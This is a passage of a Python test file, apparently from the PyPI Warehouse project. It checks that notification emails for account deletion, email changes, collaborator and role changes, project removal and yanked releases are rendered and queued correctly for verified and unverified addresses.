"body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": stub_user.email, "subject": "Email Subject", "redact_ip": False, }, }, ) ] def test_account_deletion_email_unverified( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=False), ) subject_renderer = pyramid_config.testing_add_renderer( "email/account-deleted/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/account-deleted/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/account-deleted/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_account_deletion_email(pyramid_request, stub_user) assert result == {"username": stub_user.username} subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [] assert send_email.delay.calls == [] class TestPrimaryEmailChangeEmail: def test_primary_email_change_email( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id", email="[email protected]", username="username", name="" ) subject_renderer = pyramid_config.testing_add_renderer( "email/primary-email-change/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/primary-email-change/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/primary-email-change/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_primary_email_change_email( pyramid_request, (stub_user, pretend.stub(email="[email protected]", verified=True)), ) assert result == { "username": stub_user.username, "old_email": "[email protected]", "new_email": stub_user.email, } subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ) ] def test_primary_email_change_email_unverified( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id", email="[email protected]", username="username", name="" ) subject_renderer = pyramid_config.testing_add_renderer( "email/primary-email-change/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/primary-email-change/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/primary-email-change/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_primary_email_change_email( pyramid_request, (stub_user, pretend.stub(email="[email protected]", verified=False)), ) assert result == { "username": stub_user.username, "old_email": "[email protected]", "new_email": stub_user.email, } subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) html_renderer.assert_(username=stub_user.username) assert pyramid_request.task.calls == [] assert send_email.delay.calls == [] class TestCollaboratorAddedEmail: def test_collaborator_added_email( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/collaborator-added/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/collaborator-added/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/collaborator-added/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_collaborator_added_email( pyramid_request, [stub_user, stub_submitter_user], user=stub_user, submitter=stub_submitter_user, project_name="test_project", role="Owner", ) assert result == { "username": stub_user.username, "project": "test_project", "role": "Owner", "submitter": stub_submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) body_renderer.assert_(project="test_project") body_renderer.assert_(role="Owner") body_renderer.assert_(submitter=stub_submitter_user.username) html_renderer.assert_(username=stub_user.username) html_renderer.assert_(project="test_project") html_renderer.assert_(role="Owner") html_renderer.assert_(submitter=stub_submitter_user.username) assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] def test_collaborator_added_email_unverified( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=False), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/collaborator-added/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/collaborator-added/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/collaborator-added/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_submitter_user.id) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_collaborator_added_email( pyramid_request, [stub_user, stub_submitter_user], user=stub_user, submitter=stub_submitter_user, project_name="test_project", role="Owner", ) assert result == { "username": stub_user.username, "project": "test_project", "role": "Owner", "submitter": stub_submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(username=stub_user.username) body_renderer.assert_(project="test_project") body_renderer.assert_(role="Owner") body_renderer.assert_(submitter=stub_submitter_user.username) html_renderer.assert_(username=stub_user.username) html_renderer.assert_(project="test_project") html_renderer.assert_(role="Owner") html_renderer.assert_(submitter=stub_submitter_user.username) assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestProjectRoleVerificationEmail: def test_project_role_verification_email( self, db_request, pyramid_config, token_service, monkeypatch ): stub_user = UserFactory.create() EmailFactory.create( email="[email protected]", primary=True, verified=True, public=True, user=stub_user, ) subject_renderer = pyramid_config.testing_add_renderer( "email/verify-project-role/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/verify-project-role/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/verify-project-role/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) db_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) db_request.user = stub_user db_request.registry.settings = {"mail.sender": "[email protected]"} db_request.remote_addr = "0.0.0.0" monkeypatch.setattr(email, "send_email", send_email) result = email.send_project_role_verification_email( db_request, stub_user, desired_role="Maintainer", initiator_username="initiating_user", project_name="project_name", email_token="TOKEN", token_age=token_service.max_age, ) assert result == { "desired_role": "Maintainer", "email_address": stub_user.email, "initiator_username": "initiating_user", "n_hours": token_service.max_age // 60 // 60, "project_name": "project_name", "token": "TOKEN", } subject_renderer.assert_() body_renderer.assert_(token="TOKEN", email_address=stub_user.email) html_renderer.assert_(token="TOKEN", email_address=stub_user.email) assert db_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{stub_user.name} <{stub_user.email}>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ) ] class TestAddedAsCollaboratorEmail: def test_added_as_collaborator_email( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", email="submiteremail" ) subject_renderer = pyramid_config.testing_add_renderer( "email/added-as-collaborator/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/added-as-collaborator/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/added-as-collaborator/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_added_as_collaborator_email( pyramid_request, stub_user, submitter=stub_submitter_user, project_name="test_project", role="Owner", ) assert result == { "project_name": "test_project", "role": "Owner", "initiator_username": stub_submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(initiator_username=stub_submitter_user.username) body_renderer.assert_(project_name="test_project") body_renderer.assert_(role="Owner") html_renderer.assert_(initiator_username=stub_submitter_user.username) html_renderer.assert_(project_name="test_project") html_renderer.assert_(role="Owner") assert pyramid_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ) ] def test_added_as_collaborator_email_unverified( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=False), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", email="submiteremail" ) subject_renderer = pyramid_config.testing_add_renderer( "email/added-as-collaborator/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/added-as-collaborator/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/added-as-collaborator/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=stub_user.id) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_added_as_collaborator_email( pyramid_request, stub_user, submitter=stub_submitter_user, project_name="test_project", role="Owner", ) assert result == { "project_name": "test_project", "role": "Owner", "initiator_username": stub_submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(initiator_username=stub_submitter_user.username) body_renderer.assert_(project_name="test_project") body_renderer.assert_(role="Owner") html_renderer.assert_(initiator_username=stub_submitter_user.username) html_renderer.assert_(project_name="test_project") html_renderer.assert_(role="Owner") assert pyramid_request.task.calls == [] assert send_email.delay.calls == [] class TestCollaboratorRemovedEmail: def test_collaborator_removed_email(self, db_request, pyramid_config, monkeypatch): removed_user = UserFactory.create() EmailFactory.create(primary=True, verified=True, public=True, user=removed_user) submitter_user = UserFactory.create() EmailFactory.create( primary=True, verified=True, public=True, user=submitter_user ) db_request.user = submitter_user subject_renderer = pyramid_config.testing_add_renderer( "email/collaborator-removed/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/collaborator-removed/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/collaborator-removed/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) db_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) result = email.send_collaborator_removed_email( db_request, [removed_user, submitter_user], user=removed_user, submitter=submitter_user, project_name="test_project", ) assert result == { "username": removed_user.username, "project": "test_project", "submitter": submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(username=removed_user.username) body_renderer.assert_(project="test_project") body_renderer.assert_(submitter=submitter_user.username) html_renderer.assert_(username=removed_user.username) html_renderer.assert_(project="test_project") html_renderer.assert_(submitter=submitter_user.username) assert db_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( f"{ removed_user.name } <{ removed_user.primary_email.email }>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": removed_user.id, "additional": { "from_": None, "to": removed_user.primary_email.email, "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( f"{ submitter_user.name } <{ submitter_user.primary_email.email }>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": submitter_user.id, "additional": { "from_": None, "to": submitter_user.primary_email.email, "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestRemovedAsCollaboratorEmail: def test_removed_as_collaborator_email( self, db_request, pyramid_config, monkeypatch ): removed_user = UserFactory.create() EmailFactory.create(primary=True, verified=True, public=True, user=removed_user) submitter_user = UserFactory.create() EmailFactory.create( primary=True, verified=True, public=True, user=submitter_user ) db_request.user = submitter_user subject_renderer = pyramid_config.testing_add_renderer( "email/removed-as-collaborator/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-as-collaborator/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-as-collaborator/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) db_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) result = email.send_removed_as_collaborator_email( db_request, removed_user, submitter=submitter_user, project_name="test_project", ) assert result == { "project": "test_project", "submitter": submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(submitter=submitter_user.username) body_renderer.assert_(project="test_project") html_renderer.assert_(submitter=submitter_user.username) html_renderer.assert_(project="test_project") assert db_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{ removed_user.name } <{ removed_user.primary_email.email }>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": removed_user.id, "additional": { "from_": None, "to": removed_user.primary_email.email, "subject": "Email Subject", "redact_ip": True, }, }, ) ] class TestRoleChangedEmail: def test_role_changed_email(self, db_request, pyramid_config, monkeypatch): changed_user = UserFactory.create() EmailFactory.create(primary=True, verified=True, public=True, user=changed_user) submitter_user = UserFactory.create() EmailFactory.create( primary=True, verified=True, public=True, user=submitter_user ) db_request.user = submitter_user subject_renderer = pyramid_config.testing_add_renderer( "email/collaborator-role-changed/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/collaborator-role-changed/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/collaborator-role-changed/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) db_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) result = email.send_collaborator_role_changed_email( db_request, [changed_user, submitter_user], user=changed_user, submitter=submitter_user, project_name="test_project", role="Owner", ) assert result == { "username": changed_user.username, "project": "test_project", "role": "Owner", "submitter": submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(username=changed_user.username) body_renderer.assert_(project="test_project") body_renderer.assert_(role="Owner") body_renderer.assert_(submitter=submitter_user.username) html_renderer.assert_(username=changed_user.username) html_renderer.assert_(project="test_project") html_renderer.assert_(role="Owner") html_renderer.assert_(submitter=submitter_user.username) assert db_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( f"{ changed_user.name } <{ changed_user.primary_email.email }>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": changed_user.id, "additional": { "from_": None, "to": changed_user.primary_email.email, "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( f"{ submitter_user.name } <{ submitter_user.primary_email.email }>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": submitter_user.id, "additional": { "from_": None, "to": submitter_user.primary_email.email, "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestRoleChangedAsCollaboratorEmail: def test_role_changed_as_collaborator_email( self, db_request, pyramid_config, monkeypatch ): changed_user = UserFactory.create() EmailFactory.create(primary=True, verified=True, public=True, user=changed_user) submitter_user = UserFactory.create() EmailFactory.create( primary=True, verified=True, public=True, user=submitter_user ) db_request.user = submitter_user subject_renderer = pyramid_config.testing_add_renderer( "email/role-changed-as-collaborator/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/role-changed-as-collaborator/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/role-changed-as-collaborator/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) db_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) result = email.send_role_changed_as_collaborator_email( db_request, changed_user, submitter=submitter_user, project_name="test_project", role="Owner", ) assert result == { "project": "test_project", "role": "Owner", "submitter": submitter_user.username, } subject_renderer.assert_() body_renderer.assert_(submitter=submitter_user.username) body_renderer.assert_(project="test_project") body_renderer.assert_(role="Owner") html_renderer.assert_(submitter=submitter_user.username) html_renderer.assert_(project="test_project") html_renderer.assert_(role="Owner") assert db_request.task.calls == [pretend.call(send_email)] assert send_email.delay.calls == [ pretend.call( f"{ changed_user.name } <{ changed_user.primary_email.email }>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": changed_user.id, "additional": { "from_": None, "to": changed_user.primary_email.email, "subject": "Email Subject", "redact_ip": True, }, }, ), ] class TestRemovedProjectEmail: def test_removed_project_email_to_maintainer( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/removed-project/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-project/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-project/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_removed_project_email( pyramid_request, [stub_user, stub_submitter_user], project_name="test_project", submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Maintainer", ) assert result == { "project_name": "test_project", "submitter_name": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "a maintainer", } subject_renderer.assert_(project_name="test_project") body_renderer.assert_(project_name="test_project") body_renderer.assert_(submitter_name=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="a maintainer") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] def test_removed_project_email_to_owner( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/removed-project/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/removed-project/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/removed-project/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} result = email.send_removed_project_email( pyramid_request, [stub_user, stub_submitter_user], project_name="test_project", submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Owner", ) assert result == { "project_name": "test_project", "submitter_name": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "an owner", } subject_renderer.assert_(project_name="test_project") body_renderer.assert_(project_name="test_project") body_renderer.assert_(submitter_name=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="an owner") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] class TestYankedReleaseEmail: def test_send_yanked_project_release_email_to_maintainer( self, pyramid_request, pyramid_config, monkeypatch ): stub_user = pretend.stub( id="id_1", username="username", name="", email="[email protected]", primary_email=pretend.stub(email="[email protected]", verified=True), ) stub_submitter_user = pretend.stub( id="id_2", username="submitterusername", name="", email="[email protected]", primary_email=pretend.stub( email="[email protected]", verified=True ), ) subject_renderer = pyramid_config.testing_add_renderer( "email/yanked-project-release/subject.txt" ) subject_renderer.string_response = "Email Subject" body_renderer = pyramid_config.testing_add_renderer( "email/yanked-project-release/body.txt" ) body_renderer.string_response = "Email Body" html_renderer = pyramid_config.testing_add_renderer( "email/yanked-project-release/body.html" ) html_renderer.string_response = "Email HTML Body" send_email = pretend.stub( delay=pretend.call_recorder(lambda *args, **kwargs: None) ) pyramid_request.task = pretend.call_recorder(lambda *args, **kwargs: send_email) monkeypatch.setattr(email, "send_email", send_email) ids = [stub_submitter_user.id, stub_user.id] pyramid_request.db = pretend.stub( query=lambda a: pretend.stub( filter=lambda *a: pretend.stub( one=lambda: pretend.stub(user_id=ids.pop()) ) ), ) pyramid_request.user = stub_submitter_user pyramid_request.registry.settings = {"mail.sender": "[email protected]"} release = pretend.stub( version="0.0.0", project=pretend.stub(name="test_project"), created=datetime.datetime(2017, 2, 5, 0, 0, 0, 0), yanked_reason="Yanky Doodle went to town", ) result = email.send_yanked_project_release_email( pyramid_request, [stub_user, stub_submitter_user], release=release, submitter_name=stub_submitter_user.username, submitter_role="Owner", recipient_role="Maintainer", ) assert result == { "project": release.project.name, "release": release.version, "release_date": release.created.strftime("%Y-%m-%d"), "submitter": stub_submitter_user.username, "submitter_role": "owner", "recipient_role_descr": "a maintainer", "yanked_reason": "Yanky Doodle went to town", } subject_renderer.assert_(project="test_project") subject_renderer.assert_(release="0.0.0") body_renderer.assert_(project="test_project") body_renderer.assert_(release="0.0.0") body_renderer.assert_(release_date=release.created.strftime("%Y-%m-%d")) body_renderer.assert_(submitter=stub_submitter_user.username) body_renderer.assert_(submitter_role="owner") body_renderer.assert_(recipient_role_descr="a maintainer") assert pyramid_request.task.calls == [ pretend.call(send_email), pretend.call(send_email), ] assert send_email.delay.calls == [ pretend.call( "username <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": True, }, }, ), pretend.call( "submitterusername <[email protected]>", { "subject": "Email Subject", "body_text": "Email Body", "body_html": ( "<html>\n<head></head>\n" "<body><p>Email HTML Body</p></body>\n</html>\n" ), }, { "tag": "account:email:sent", "user_id": stub_submitter_user.id, "additional": { "from_": "[email protected]", "to": "[email protected]", "subject": "Email Subject", "redact_ip": False, }, }, ), ] def test_send_yanked_project_release_email_to_owner( self, 